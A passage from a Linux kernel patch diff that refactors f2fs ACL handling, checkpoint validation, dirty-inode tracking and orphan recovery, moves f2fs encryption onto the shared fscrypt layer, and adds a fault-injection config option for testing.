ci->ci_data_mode; + ctx.filenames_encryption_mode = ci->ci_filename_mode; + ctx.flags = ci->ci_flags; + memcpy(ctx.master_key_descriptor, ci->ci_master_key, + FS_KEY_DESCRIPTOR_SIZE); + } + get_random_bytes(ctx.nonce, FS_KEY_DERIVATION_NONCE_SIZE); + res = parent->i_sb->s_cop->set_context(child, &ctx, + sizeof(ctx), fs_data); + if (res) + return res; + return preload ? fscrypt_get_encryption_info(child): 0; +} +EXPORT_SYMBOL(fscrypt_inherit_context); diff --git a/fs/f2fs/Kconfig b/fs/f2fs/Kconfig index 390e1cfb47170..378c221d68a92 100644 --- a/fs/f2fs/Kconfig +++ b/fs/f2fs/Kconfig @@ -1,6 +1,8 @@ config F2FS_FS tristate "F2FS filesystem support" depends on BLOCK + select CRYPTO + select CRYPTO_CRC32 help F2FS is based on Log-structured File System (LFS), which supports versatile "flash-friendly" features. The design has been focused on @@ -19,10 +21,10 @@ config F2FS_STAT_FS depends on F2FS_FS && DEBUG_FS default y help - /sys/debug/f2fs/ contains information about all the partitions + /sys/kernel/debug/f2fs/ contains information about all the partitions mounted as f2fs. Each file shows the whole f2fs information. - /sys/debug/f2fs/status includes: + /sys/kernel/debug/f2fs/status includes: - major filesystem information managed by f2fs currently - average SIT information about whole segments - current memory footprint consumed by f2fs. @@ -76,15 +78,7 @@ config F2FS_FS_ENCRYPTION bool "F2FS Encryption" depends on F2FS_FS depends on F2FS_FS_XATTR - select CRYPTO_AES - select CRYPTO_CBC - select CRYPTO_ECB - select CRYPTO_XTS - select CRYPTO_CTS - select CRYPTO_CTR - select CRYPTO_SHA256 - select KEYS - select ENCRYPTED_KEYS + select FS_ENCRYPTION help Enable encryption of f2fs files and directories. This feature is similar to ecryptfs, but it is more memory @@ -100,3 +94,11 @@ config F2FS_IO_TRACE information and block IO patterns in the filesystem level. If unsure, say N. + +config F2FS_FAULT_INJECTION + bool "F2FS fault injection facility" + depends on F2FS_FS + help + Test F2FS to inject faults such as ENOMEM, ENOSPC, and so on. + + If unsure, say N. diff --git a/fs/f2fs/Makefile b/fs/f2fs/Makefile index 08e101ed914ce..ca949ea7c02fd 100644 --- a/fs/f2fs/Makefile +++ b/fs/f2fs/Makefile @@ -7,5 +7,3 @@ f2fs-$(CONFIG_F2FS_STAT_FS) += debug.o f2fs-$(CONFIG_F2FS_FS_XATTR) += xattr.o f2fs-$(CONFIG_F2FS_FS_POSIX_ACL) += acl.o f2fs-$(CONFIG_F2FS_IO_TRACE) += trace.o -f2fs-$(CONFIG_F2FS_FS_ENCRYPTION) += crypto_policy.o crypto.o \ - crypto_key.o crypto_fname.o diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index 5b952c05903f4..4a8a78f0bc976 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -109,14 +109,16 @@ static struct posix_acl *f2fs_acl_from_disk(const char *value, size_t size) return ERR_PTR(-EINVAL); } -static void *f2fs_acl_to_disk(const struct posix_acl *acl, size_t *size) +static void *f2fs_acl_to_disk(struct f2fs_sb_info *sbi, + const struct posix_acl *acl, size_t *size) { struct f2fs_acl_header *f2fs_acl; struct f2fs_acl_entry *entry; int i; - f2fs_acl = kmalloc(sizeof(struct f2fs_acl_header) + acl->a_count * - sizeof(struct f2fs_acl_entry), GFP_NOFS); + f2fs_acl = f2fs_kmalloc(sbi, sizeof(struct f2fs_acl_header) + + acl->a_count * sizeof(struct f2fs_acl_entry), + GFP_NOFS); if (!f2fs_acl) return ERR_PTR(-ENOMEM); @@ -183,7 +185,7 @@ static struct posix_acl *__f2fs_get_acl(struct inode *inode, int type, retval = f2fs_getxattr(inode, name_index, "", NULL, 0, dpage); if (retval > 0) { - value = kmalloc(retval, GFP_F2FS_ZERO); + value = f2fs_kmalloc(F2FS_I_SB(inode), retval, GFP_F2FS_ZERO); if (!value) return ERR_PTR(-ENOMEM); retval = f2fs_getxattr(inode, name_index, "", value, @@ -213,7 +215,6 @@ static int f2fs_set_acl(struct inode *inode, int type, struct posix_acl *acl, struct page *ipage) { struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct f2fs_inode_info *fi = F2FS_I(inode); int name_index; void *value = NULL; size_t size = 0; @@ -228,12 +229,10 @@ static int f2fs_set_acl(struct inode *inode, int type, case ACL_TYPE_ACCESS: name_index = F2FS_XATTR_INDEX_POSIX_ACL_ACCESS; if (acl) { - error = posix_acl_equiv_mode(acl, &inode->i_mode); - if (error < 0) + error = posix_acl_update_mode(inode, &inode->i_mode, &acl); + if (error) return error; - set_acl_inode(fi, inode->i_mode); - if (error == 0) - acl = NULL; + set_acl_inode(inode, inode->i_mode); } break; @@ -247,10 +246,12 @@ static int f2fs_set_acl(struct inode *inode, int type, return -EINVAL; } + f2fs_mark_inode_dirty_sync(inode, true); + if (acl) { - value = f2fs_acl_to_disk(acl, &size); + value = f2fs_acl_to_disk(F2FS_I_SB(inode), acl, &size); if (IS_ERR(value)) { - clear_inode_flag(fi, FI_ACL_MODE); + clear_inode_flag(inode, FI_ACL_MODE); return (int)PTR_ERR(value); } } @@ -261,7 +262,7 @@ static int f2fs_set_acl(struct inode *inode, int type, if (!error) set_cached_acl(inode, type, acl); - clear_inode_flag(fi, FI_ACL_MODE); + clear_inode_flag(inode, FI_ACL_MODE); return error; } @@ -295,6 +296,8 @@ int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage, return error; if (error > 0) error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, ipage); + + f2fs_mark_inode_dirty_sync(inode, true); cleanup: posix_acl_release(acl); return error; @@ -356,7 +359,7 @@ static int f2fs_xattr_get_acl(struct dentry *dentry, const char *name, if (!test_opt(sbi, POSIX_ACL)) return -EOPNOTSUPP; - acl = f2fs_get_acl(dentry->d_inode, type); + acl = f2fs_get_acl(d_inode(dentry), type); if (IS_ERR(acl)) return PTR_ERR(acl); if (!acl) @@ -371,7 +374,7 @@ static int f2fs_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, size_t size, int flags, int type) { struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - struct inode *inode = dentry->d_inode; + struct inode *inode = d_inode(dentry); struct posix_acl *acl = NULL; int error; diff --git a/fs/f2fs/acl.h b/fs/f2fs/acl.h index b4ba6866822ea..09f93758b3f91 100644 --- a/fs/f2fs/acl.h +++ b/fs/f2fs/acl.h @@ -41,7 +41,6 @@ extern int f2fs_acl_chmod(struct inode *); extern int f2fs_init_acl(struct inode *, struct inode *, struct page *, struct page *); #else -#define f2fs_check_acl NULL #define f2fs_get_acl NULL #define f2fs_set_acl NULL diff --git a/fs/f2fs/checkpoint.c b/fs/f2fs/checkpoint.c index 463a67cc6cdba..0fcc5276837bd 100644 --- a/fs/f2fs/checkpoint.c +++ b/fs/f2fs/checkpoint.c @@ -26,6 +26,14 @@ static struct kmem_cache *ino_entry_slab; struct kmem_cache *inode_entry_slab; +void f2fs_stop_checkpoint(struct f2fs_sb_info *sbi, bool end_io) +{ + set_ckpt_flags(sbi, CP_ERROR_FLAG); + sbi->sb->s_flags |= MS_RDONLY; + if (!end_io) + f2fs_flush_merged_bios(sbi); +} + /* * We guarantee no failure on the returned page. */ @@ -34,13 +42,14 @@ struct page *grab_meta_page(struct f2fs_sb_info *sbi, pgoff_t index) struct address_space *mapping = META_MAPPING(sbi); struct page *page = NULL; repeat: - page = grab_cache_page(mapping, index); + page = f2fs_grab_cache_page(mapping, index, false); if (!page) { cond_resched(); goto repeat; } - f2fs_wait_on_page_writeback(page, META); - SetPageUptodate(page); + f2fs_wait_on_page_writeback(page, META, true); + if (!PageUptodate(page)) + SetPageUptodate(page); return page; } @@ -56,14 +65,15 @@ static struct page *__get_meta_page(struct f2fs_sb_info *sbi, pgoff_t index, .sbi = sbi, .type = META, .rw = READ_SYNC | REQ_META | REQ_PRIO, - .blk_addr = index, + .old_blkaddr = index, + .new_blkaddr = index, .encrypted_page = NULL, }; if (unlikely(!is_meta)) fio.rw &= ~REQ_META; repeat: - page = grab_cache_page(mapping, index); + page = f2fs_grab_cache_page(mapping, index, false); if (!page) { cond_resched(); goto repeat; @@ -90,7 +100,7 @@ static struct page *__get_meta_page(struct f2fs_sb_info *sbi, pgoff_t index, * meta page. */ if (unlikely(!PageUptodate(page))) - f2fs_stop_checkpoint(sbi); + f2fs_stop_checkpoint(sbi, false); out: mark_page_accessed(page); return page; @@ -144,7 +154,6 @@ bool is_valid_blkaddr(struct f2fs_sb_info *sbi, block_t blkaddr, int type) int ra_meta_pages(struct f2fs_sb_info *sbi, block_t start, int nrpages, int type, bool sync) { - block_t prev_blk_addr = 0; struct page *page; block_t blkno = start; struct f2fs_io_info fio = { @@ -153,10 +162,12 @@ int ra_meta_pages(struct f2fs_sb_info *sbi, block_t start, int nrpages, .rw = sync ? (READ_SYNC | REQ_META | REQ_PRIO) : READA, .encrypted_page = NULL, }; + struct blk_plug plug; if (unlikely(type == META_POR)) fio.rw &= ~REQ_META; + blk_start_plug(&plug); for (; nrpages-- > 0; blkno++) { if (!is_valid_blkaddr(sbi, blkno, type)) @@ -168,27 +179,25 @@ int ra_meta_pages(struct f2fs_sb_info *sbi, block_t start, int nrpages, NAT_BLOCK_OFFSET(NM_I(sbi)->max_nid))) blkno = 0; /* get nat block addr */ - fio.blk_addr = current_nat_addr(sbi, + fio.new_blkaddr = current_nat_addr(sbi, blkno * NAT_ENTRY_PER_BLOCK); break; case META_SIT: /* get sit block addr */ - fio.blk_addr = current_sit_addr(sbi, + fio.new_blkaddr = current_sit_addr(sbi, blkno * SIT_ENTRY_PER_BLOCK); - if (blkno != start && prev_blk_addr + 1 != fio.blk_addr) - goto out; - prev_blk_addr = fio.blk_addr; break; case META_SSA: case META_CP: case META_POR: - fio.blk_addr = blkno; + fio.new_blkaddr = blkno; break; default: BUG(); } - page = grab_cache_page(META_MAPPING(sbi), fio.blk_addr); + page = f2fs_grab_cache_page(META_MAPPING(sbi), + fio.new_blkaddr, false); if (!page) continue; if (PageUptodate(page)) { @@ -197,11 +206,13 @@ int ra_meta_pages(struct f2fs_sb_info *sbi, block_t start, int nrpages, } fio.page = page; + fio.old_blkaddr = fio.new_blkaddr; f2fs_submit_page_mbio(&fio); f2fs_put_page(page, 0); } out: f2fs_submit_merged_bio(sbi, META, READ); + blk_finish_plug(&plug); return blkno - start; } @@ -211,12 +222,12 @@ void ra_meta_pages_cond(struct f2fs_sb_info *sbi, pgoff_t index) bool readahead = false; page = find_get_page(META_MAPPING(sbi), index); - if (!page || (page && !PageUptodate(page))) + if (!page || !PageUptodate(page)) readahead = true; f2fs_put_page(page, 0); if (readahead) - ra_meta_pages(sbi, index, MAX_BIO_BLOCKS(sbi), META_POR, true); + ra_meta_pages(sbi, index, BIO_MAX_PAGES, META_POR, true); } static int f2fs_write_meta_page(struct page *page, @@ -233,13 +244,17 @@ static int f2fs_write_meta_page(struct page *page, if (unlikely(f2fs_cp_error(sbi))) goto redirty_out; - f2fs_wait_on_page_writeback(page, META); write_meta_page(sbi, page); dec_page_count(sbi, F2FS_DIRTY_META); - unlock_page(page); if (wbc->for_reclaim) + f2fs_submit_merged_bio_cond(sbi, NULL, page, 0, META, WRITE); + + unlock_page(page); + + if (unlikely(f2fs_cp_error(sbi))) f2fs_submit_merged_bio(sbi, META, WRITE); + return 0; redirty_out: @@ -253,13 +268,13 @@ static int f2fs_write_meta_pages(struct address_space *mapping, struct f2fs_sb_info *sbi = F2FS_M_SB(mapping); long diff, written; - trace_f2fs_writepages(mapping->host, wbc, META); - /* collect a number of dirty meta pages and write together */ if (wbc->for_kupdate || get_pages(sbi, F2FS_DIRTY_META) < nr_pages_to_skip(sbi, META)) goto skip_write; + trace_f2fs_writepages(mapping->host, wbc, META); + /* if mounting is failed, skip writing node pages */ mutex_lock(&sbi->cp_mutex); diff = nr_pages_to_write(sbi, META, wbc); @@ -270,6 +285,7 @@ static int f2fs_write_meta_pages(struct address_space *mapping, skip_write: wbc->pages_skipped += get_pages(sbi, F2FS_DIRTY_META); + trace_f2fs_writepages(mapping->host, wbc, META); return 0; } @@ -277,15 +293,18 @@ long sync_meta_pages(struct f2fs_sb_info *sbi, enum page_type type, long nr_to_write) { struct address_space *mapping = META_MAPPING(sbi); - pgoff_t index = 0, end = LONG_MAX, prev = LONG_MAX; + pgoff_t index = 0, end = ULONG_MAX, prev = ULONG_MAX; struct pagevec pvec; long nwritten = 0; struct writeback_control wbc = { .for_reclaim = 0, }; + struct blk_plug plug; pagevec_init(&pvec, 0); + blk_start_plug(&plug); + while (index <= end) { int i, nr_pages; nr_pages = pagevec_lookup_tag(&pvec, mapping, &index, @@ -297,7 +316,7 @@ long sync_meta_pages(struct f2fs_sb_info *sbi, enum page_type type, for (i = 0; i < nr_pages; i++) { struct page *page = pvec.pages[i]; - if (prev == LONG_MAX) + if (prev == ULONG_MAX) prev = page->index - 1; if (nr_to_write != LONG_MAX && page->index != prev + 1) { pagevec_release(&pvec); @@ -316,6 +335,9 @@ long sync_meta_pages(struct f2fs_sb_info *sbi, enum page_type type, goto continue_unlock; } + f2fs_wait_on_page_writeback(page, META, true); + + BUG_ON(PageWriteback(page)); if (!clear_page_dirty_for_io(page)) goto continue_unlock; @@ -335,6 +357,8 @@ long sync_meta_pages(struct f2fs_sb_info *sbi, enum page_type type, if (nwritten) f2fs_submit_merged_bio(sbi, type, WRITE); + blk_finish_plug(&plug); + return nwritten; } @@ -342,9 +366,10 @@ static int f2fs_set_meta_page_dirty(struct page *page) { trace_f2fs_set_page_dirty(page, META); - SetPageUptodate(page); + if (!PageUptodate(page)) + SetPageUptodate(page); if (!PageDirty(page)) { - __set_page_dirty_nobuffers(page); + f2fs_set_page_dirty_nobuffers(page); inc_page_count(F2FS_P_SB(page), F2FS_DIRTY_META); SetPagePrivate(page); f2fs_trace_pid(page); @@ -411,13 +436,13 @@ static void __remove_ino_entry(struct f2fs_sb_info *sbi, nid_t ino, int type) spin_unlock(&im->ino_lock); } -void add_dirty_inode(struct f2fs_sb_info *sbi, nid_t ino, int type) +void add_ino_entry(struct f2fs_sb_info *sbi, nid_t ino, int type) { /* add new dirty ino entry into list */ __add_ino_entry(sbi, ino, type); } -void remove_dirty_inode(struct f2fs_sb_info *sbi, nid_t ino, int type) +void remove_ino_entry(struct f2fs_sb_info *sbi, nid_t ino, int type) { /* remove dirty ino entry from list */ __remove_ino_entry(sbi, ino, type); @@ -435,12 +460,12 @@ bool exist_written_data(struct f2fs_sb_info *sbi, nid_t ino, int mode) return e ? true : false; } -void release_dirty_inode(struct f2fs_sb_info *sbi) +void release_ino_entry(struct f2fs_sb_info *sbi, bool all) { struct ino_entry *e, *tmp; int i; - for (i = APPEND_INO; i <= UPDATE_INO; i++) { + for (i = all ? ORPHAN_INO: APPEND_INO; i <= UPDATE_INO; i++) { struct inode_management *im = &sbi->im[i]; spin_lock(&im->ino_lock); @@ -460,6 +485,13 @@ int acquire_orphan_inode(struct f2fs_sb_info *sbi) int err = 0; spin_lock(&im->ino_lock); + +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (time_to_inject(sbi, FAULT_ORPHAN)) { + spin_unlock(&im->ino_lock); + return -ENOSPC; + } +#endif if (unlikely(im->ino_num >= sbi->max_orphans)) err = -ENOSPC; else @@ -479,10 +511,11 @@ void release_orphan_inode(struct f2fs_sb_info *sbi) spin_unlock(&im->ino_lock); } -void add_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) +void add_orphan_inode(struct inode *inode) { /* add new orphan ino entry into list */ - __add_ino_entry(sbi, ino, ORPHAN_INO); + __add_ino_entry(F2FS_I_SB(inode), inode->i_ino, ORPHAN_INO); + update_inode_page(inode); } void remove_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) @@ -494,8 +527,20 @@ void remove_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) static int recover_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) { struct inode *inode; + struct node_info ni; + int err = acquire_orphan_inode(sbi); + + if (err) { + set_sbi_flag(sbi, SBI_NEED_FSCK); + f2fs_msg(sbi->sb, KERN_WARNING, + "%s: orphan failed (ino=%x), run fsck to fix.", + __func__, ino); + return err; + } + + __add_ino_entry(sbi, ino, ORPHAN_INO); - inode = f2fs_iget(sbi->sb, ino); + inode = f2fs_iget_retry(sbi->sb, ino); if (IS_ERR(inode)) { /* * there should be a bug that we can't find the entry @@ -509,6 +554,18 @@ static int recover_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) /* truncate all the data during iput */ iput(inode); + + get_node_info(sbi, ino, &ni); + + /* ENOMEM was fully retried in f2fs_evict_inode. */ + if (ni.blk_addr != NULL_ADDR) { + set_sbi_flag(sbi, SBI_NEED_FSCK); + f2fs_msg(sbi->sb, KERN_WARNING, + "%s: orphan failed (ino=%x), run fsck to fix.", + __func__, ino); + return -EIO; + } + __remove_ino_entry(sbi, ino, ORPHAN_INO); return 0; } @@ -517,7 +574,7 @@ int recover_orphan_inodes(struct f2fs_sb_info *sbi) block_t start_blk, orphan_blocks, i, j; int err; - if (!is_set_ckpt_flags(F2FS_CKPT(sbi), CP_ORPHAN_PRESENT_FLAG)) + if (!is_set_ckpt_flags(sbi, CP_ORPHAN_PRESENT_FLAG)) return 0; start_blk = __start_cp_addr(sbi) + 1 + __cp_payload(sbi); @@ -541,7 +598,7 @@ int recover_orphan_inodes(struct f2fs_sb_info *sbi) f2fs_put_page(page, 1); } /* clear Orphan Flag */ - clear_ckpt_flags(F2FS_CKPT(sbi), CP_ORPHAN_PRESENT_FLAG); + clear_ckpt_flags(sbi, CP_ORPHAN_PRESENT_FLAG); return 0; } @@ -602,45 +659,55 @@ static void write_orphan_inodes(struct f2fs_sb_info *sbi, block_t start_blk) } } -static struct page *validate_checkpoint(struct f2fs_sb_info *sbi, - block_t cp_addr, unsigned long long *version) +static int get_checkpoint_version(struct f2fs_sb_info *sbi, block_t cp_addr, + struct f2fs_checkpoint **cp_block, struct page **cp_page, + unsigned long long *version) { - struct page *cp_page_1, *cp_page_2 = NULL; unsigned long blk_size = sbi->blocksize; - struct f2fs_checkpoint *cp_block; - unsigned long long cur_version = 0, pre_version = 0; - size_t crc_offset; + size_t crc_offset = 0; __u32 crc = 0; - /* Read the 1st cp block in this CP pack */ - cp_page_1 = get_meta_page(sbi, cp_addr); + *cp_page = get_meta_page(sbi, cp_addr); + *cp_block = (struct f2fs_checkpoint *)page_address(*cp_page); - /* get the version number */ - cp_block = (struct f2fs_checkpoint *)page_address(cp_page_1); - crc_offset = le32_to_cpu(cp_block->checksum_offset); - if (crc_offset >= blk_size) - goto invalid_cp1; + crc_offset = le32_to_cpu((*cp_block)->checksum_offset); + if (crc_offset >= blk_size) { + f2fs_msg(sbi->sb, KERN_WARNING, + "invalid crc_offset: %zu", crc_offset); + return -EINVAL; + } - crc = le32_to_cpu(*((__le32 *)((unsigned char *)cp_block + crc_offset))); - if (!f2fs_crc_valid(crc, cp_block, crc_offset)) - goto invalid_cp1; + crc = le32_to_cpu(*((__le32 *)((unsigned char *)*cp_block + + crc_offset))); + if (!f2fs_crc_valid(sbi, crc, *cp_block, crc_offset)) { + f2fs_msg(sbi->sb, KERN_WARNING, "invalid crc value"); + return -EINVAL; + } - pre_version = cur_cp_version(cp_block); + *version = cur_cp_version(*cp_block); + return 0; +} - /* Read the 2nd cp block in this CP pack */ - cp_addr += le32_to_cpu(cp_block->cp_pack_total_block_count) - 1; - cp_page_2 = get_meta_page(sbi, cp_addr); +static struct page *validate_checkpoint(struct f2fs_sb_info *sbi, + block_t cp_addr, unsigned long long *version) +{ + struct page *cp_page_1 = NULL, *cp_page_2 = NULL; + struct f2fs_checkpoint *cp_block = NULL; + unsigned long long cur_version = 0, pre_version = 0; + int err; - cp_block = (struct f2fs_checkpoint *)page_address(cp_page_2); - crc_offset = le32_to_cpu(cp_block->checksum_offset); - if (crc_offset >= blk_size) - goto invalid_cp2; + err = get_checkpoint_version(sbi, cp_addr, &cp_block, + &cp_page_1, version); + if (err) + goto invalid_cp1; + pre_version = *version; - crc = le32_to_cpu(*((__le32 *)((unsigned char *)cp_block + crc_offset))); - if (!f2fs_crc_valid(crc, cp_block, crc_offset)) + cp_addr += le32_to_cpu(cp_block->cp_pack_total_block_count) - 1; + err = get_checkpoint_version(sbi, cp_addr, &cp_block, + &cp_page_2, version); + if (err) goto invalid_cp2; - - cur_version = cur_cp_version(cp_block); + cur_version = *version; if (cur_version == pre_version) { *version = cur_version; @@ -697,6 +764,15 @@ int get_valid_checkpoint(struct f2fs_sb_info *sbi) cp_block = (struct f2fs_checkpoint *)page_address(cur_page); memcpy(sbi->ckpt, cp_block, blk_size); + /* Sanity checking of checkpoint */ + if (sanity_check_ckpt(sbi)) + goto free_fail_no_cp; + + if (cur_page == cp1) + sbi->cur_cp_pack = 1; + else + sbi->cur_cp_pack = 2; + if (cp_blks <= 1) goto done; @@ -718,123 +794,102 @@ int get_valid_checkpoint(struct f2fs_sb_info *sbi) f2fs_put_page(cp2, 1); return 0; +free_fail_no_cp: + f2fs_put_page(cp1, 1); + f2fs_put_page(cp2, 1); fail_no_cp: kfree(sbi->ckpt); return -EINVAL; } -static int __add_dirty_inode(struct inode *inode, struct inode_entry *new) +static void __add_dirty_inode(struct inode *inode, enum inode_type type) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + int flag = (type == DIR_INODE) ? FI_DIRTY_DIR : FI_DIRTY_FILE; - if (is_inode_flag_set(F2FS_I(inode), FI_DIRTY_DIR)) - return -EEXIST; + if (is_inode_flag_set(inode, flag)) + return; - set_inode_flag(F2FS_I(inode), FI_DIRTY_DIR); - F2FS_I(inode)->dirty_dir = new; - list_add_tail(&new->list, &sbi->dir_inode_list); - stat_inc_dirty_dir(sbi); - return 0; + set_inode_flag(inode, flag); + list_add_tail(&F2FS_I(inode)->dirty_list, &sbi->inode_list[type]); + stat_inc_dirty_inode(sbi, type); +} + +static void __remove_dirty_inode(struct inode *inode, enum inode_type type) +{ + int flag = (type == DIR_INODE) ? FI_DIRTY_DIR : FI_DIRTY_FILE; + + if (get_dirty_pages(inode) || !is_inode_flag_set(inode, flag)) + return; + + list_del_init(&F2FS_I(inode)->dirty_list); + clear_inode_flag(inode, flag); + stat_dec_dirty_inode(F2FS_I_SB(inode), type); } void update_dirty_page(struct inode *inode, struct page *page) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - struct inode_entry *new; - int ret = 0; + enum inode_type type = S_ISDIR(inode->i_mode) ? DIR_INODE : FILE_INODE; if (!S_ISDIR(inode->i_mode) && !S_ISREG(inode->i_mode) && !S_ISLNK(inode->i_mode)) return; - if (!S_ISDIR(inode->i_mode)) { - inode_inc_dirty_pages(inode); - goto out; - } - - new = f2fs_kmem_cache_alloc(inode_entry_slab, GFP_NOFS); - new->inode = inode; - INIT_LIST_HEAD(&new->list); - - spin_lock(&sbi->dir_inode_lock); - ret = __add_dirty_inode(inode, new); + spin_lock(&sbi->inode_lock[type]); + if (type != FILE_INODE || test_opt(sbi, DATA_FLUSH)) + __add_dirty_inode(inode, type); inode_inc_dirty_pages(inode); - spin_unlock(&sbi->dir_inode_lock); + spin_unlock(&sbi->inode_lock[type]); - if (ret) - kmem_cache_free(inode_entry_slab, new); -out: SetPagePrivate(page); f2fs_trace_pid(page); } -void add_dirty_dir_inode(struct inode *inode) -{ - struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - struct inode_entry *new = - f2fs_kmem_cache_alloc(inode_entry_slab, GFP_NOFS); - int ret = 0; - - new->inode = inode; - INIT_LIST_HEAD(&new->list); - - spin_lock(&sbi->dir_inode_lock); - ret = __add_dirty_inode(inode, new); - spin_unlock(&sbi->dir_inode_lock); - - if (ret) - kmem_cache_free(inode_entry_slab, new); -} - -void remove_dirty_dir_inode(struct inode *inode) +void remove_dirty_inode(struct inode *inode) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - struct inode_entry *entry; + enum inode_type type = S_ISDIR(inode->i_mode) ? DIR_INODE : FILE_INODE; - if (!S_ISDIR(inode->i_mode)) + if (!S_ISDIR(inode->i_mode) && !S_ISREG(inode->i_mode) && + !S_ISLNK(inode->i_mode)) return; - spin_lock(&sbi->dir_inode_lock); - if (get_dirty_pages(inode) || - !is_inode_flag_set(F2FS_I(inode), FI_DIRTY_DIR)) { - spin_unlock(&sbi->dir_inode_lock); + if (type == FILE_INODE && !test_opt(sbi, DATA_FLUSH)) return; - } - entry = F2FS_I(inode)->dirty_dir; - list_del(&entry->list); - F2FS_I(inode)->dirty_dir = NULL; - clear_inode_flag(F2FS_I(inode), FI_DIRTY_DIR); - stat_dec_dirty_dir(sbi); - spin_unlock(&sbi->dir_inode_lock); - kmem_cache_free(inode_entry_slab, entry); - - /* Only from the recovery routine */ - if (is_inode_flag_set(F2FS_I(inode), FI_DELAY_IPUT)) { - clear_inode_flag(F2FS_I(inode), FI_DELAY_IPUT); - iput(inode); - } + spin_lock(&sbi->inode_lock[type]); + __remove_dirty_inode(inode, type); + spin_unlock(&sbi->inode_lock[type]); } -void sync_dirty_dir_inodes(struct f2fs_sb_info *sbi) +int sync_dirty_inodes(struct f2fs_sb_info *sbi, enum inode_type type) { struct list_head *head; - struct inode_entry *entry; struct inode *inode; + struct f2fs_inode_info *fi; + bool is_dir = (type == DIR_INODE); + + trace_f2fs_sync_dirty_inodes_enter(sbi->sb, is_dir, + get_pages(sbi, is_dir ? + F2FS_DIRTY_DENTS : F2FS_DIRTY_DATA)); retry: if (unlikely(f2fs_cp_error(sbi))) - return; + return -EIO; - spin_lock(&sbi->dir_inode_lock); + spin_lock(&sbi->inode_lock[type]); - head = &sbi->dir_inode_list; + head = &sbi->inode_list[type]; if (list_empty(head)) { - spin_unlock(&sbi->dir_inode_lock); - return; + spin_unlock(&sbi->inode_lock[type]); + trace_f2fs_sync_dirty_inodes_exit(sbi->sb, is_dir, + get_pages(sbi, is_dir ? + F2FS_DIRTY_DENTS : F2FS_DIRTY_DATA)); + return 0; } - entry = list_entry(head->next, struct inode_entry, list); - inode = igrab(entry->inode); - spin_unlock(&sbi->dir_inode_lock); + fi = list_entry(head->next, struct f2fs_inode_info, dirty_list); + inode = igrab(&fi->vfs_inode); + spin_unlock(&sbi->inode_lock[type]); if (inode) { filemap_fdatawrite(inode->i_mapping); iput(inode); @@ -849,6 +904,38 @@ void sync_dirty_dir_inodes(struct f2fs_sb_info *sbi) goto retry; } +int f2fs_sync_inode_meta(struct f2fs_sb_info *sbi) +{ + struct list_head *head = &sbi->inode_list[DIRTY_META]; + struct inode *inode; + struct f2fs_inode_info *fi; + s64 total = get_pages(sbi, F2FS_DIRTY_IMETA); + + while (total--) { + if (unlikely(f2fs_cp_error(sbi))) + return -EIO; + + spin_lock(&sbi->inode_lock[DIRTY_META]); + if (list_empty(head)) { + spin_unlock(&sbi->inode_lock[DIRTY_META]); + return 0; + } + fi = list_entry(head->next, struct f2fs_inode_info, + gdirty_list); + inode = igrab(&fi->vfs_inode); + spin_unlock(&sbi->inode_lock[DIRTY_META]); + if (inode) { + sync_inode_metadata(inode, 0); + + /* it's on eviction */ + if (is_inode_flag_set(inode, FI_DIRTY_INODE)) + update_inode_page(inode); + iput(inode); + } + }; + return 0; +} + /* * Freeze all the FS-operations for checkpoint. */ @@ -869,11 +956,17 @@ static int block_operations(struct f2fs_sb_info *sbi) /* write all the dirty dentry pages */ if (get_pages(sbi, F2FS_DIRTY_DENTS)) { f2fs_unlock_all(sbi); - sync_dirty_dir_inodes(sbi); - if (unlikely(f2fs_cp_error(sbi))) { - err = -EIO; + err = sync_dirty_inodes(sbi, DIR_INODE); + if (err) + goto out; + goto retry_flush_dents; + } + + if (get_pages(sbi, F2FS_DIRTY_IMETA)) { + f2fs_unlock_all(sbi); + err = f2fs_sync_inode_meta(sbi); + if (err) goto out; - } goto retry_flush_dents; } @@ -886,10 +979,9 @@ static int block_operations(struct f2fs_sb_info *sbi) if (get_pages(sbi, F2FS_DIRTY_NODES)) { up_write(&sbi->node_write); - sync_node_pages(sbi, 0, &wbc); - if (unlikely(f2fs_cp_error(sbi))) { + err = sync_node_pages(sbi, &wbc); + if (err) { f2fs_unlock_all(sbi); - err = -EIO; goto out; } goto retry_flush_nodes; @@ -902,6 +994,8 @@ static int block_operations(struct f2fs_sb_info *sbi) static void unblock_operations(struct f2fs_sb_info *sbi) { up_write(&sbi->node_write); + + build_free_nids(sbi, false); f2fs_unlock_all(sbi); } @@ -912,18 +1006,48 @@ static void wait_on_all_pages_writeback(struct f2fs_sb_info *sbi) for (;;) { prepare_to_wait(&sbi->cp_wait, &wait, TASK_UNINTERRUPTIBLE); - if (!get_pages(sbi, F2FS_WRITEBACK)) + if (!get_pages(sbi, F2FS_WB_CP_DATA)) break; - io_schedule(); + io_schedule_timeout(5*HZ); } finish_wait(&sbi->cp_wait, &wait); } -static void do_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) +static void update_ckpt_flags(struct f2fs_sb_info *sbi, struct cp_control *cpc) +{ + unsigned long orphan_num = sbi->im[ORPHAN_INO].ino_num; + struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); + + spin_lock(&sbi->cp_lock); + + if (cpc->reason == CP_UMOUNT) + __set_ckpt_flags(ckpt, CP_UMOUNT_FLAG); + else + __clear_ckpt_flags(ckpt, CP_UMOUNT_FLAG); + + if (cpc->reason == CP_FASTBOOT) + __set_ckpt_flags(ckpt, CP_FASTBOOT_FLAG); + else + __clear_ckpt_flags(ckpt, CP_FASTBOOT_FLAG); + + if (orphan_num) + __set_ckpt_flags(ckpt, CP_ORPHAN_PRESENT_FLAG); + else + __clear_ckpt_flags(ckpt, CP_ORPHAN_PRESENT_FLAG); + + if 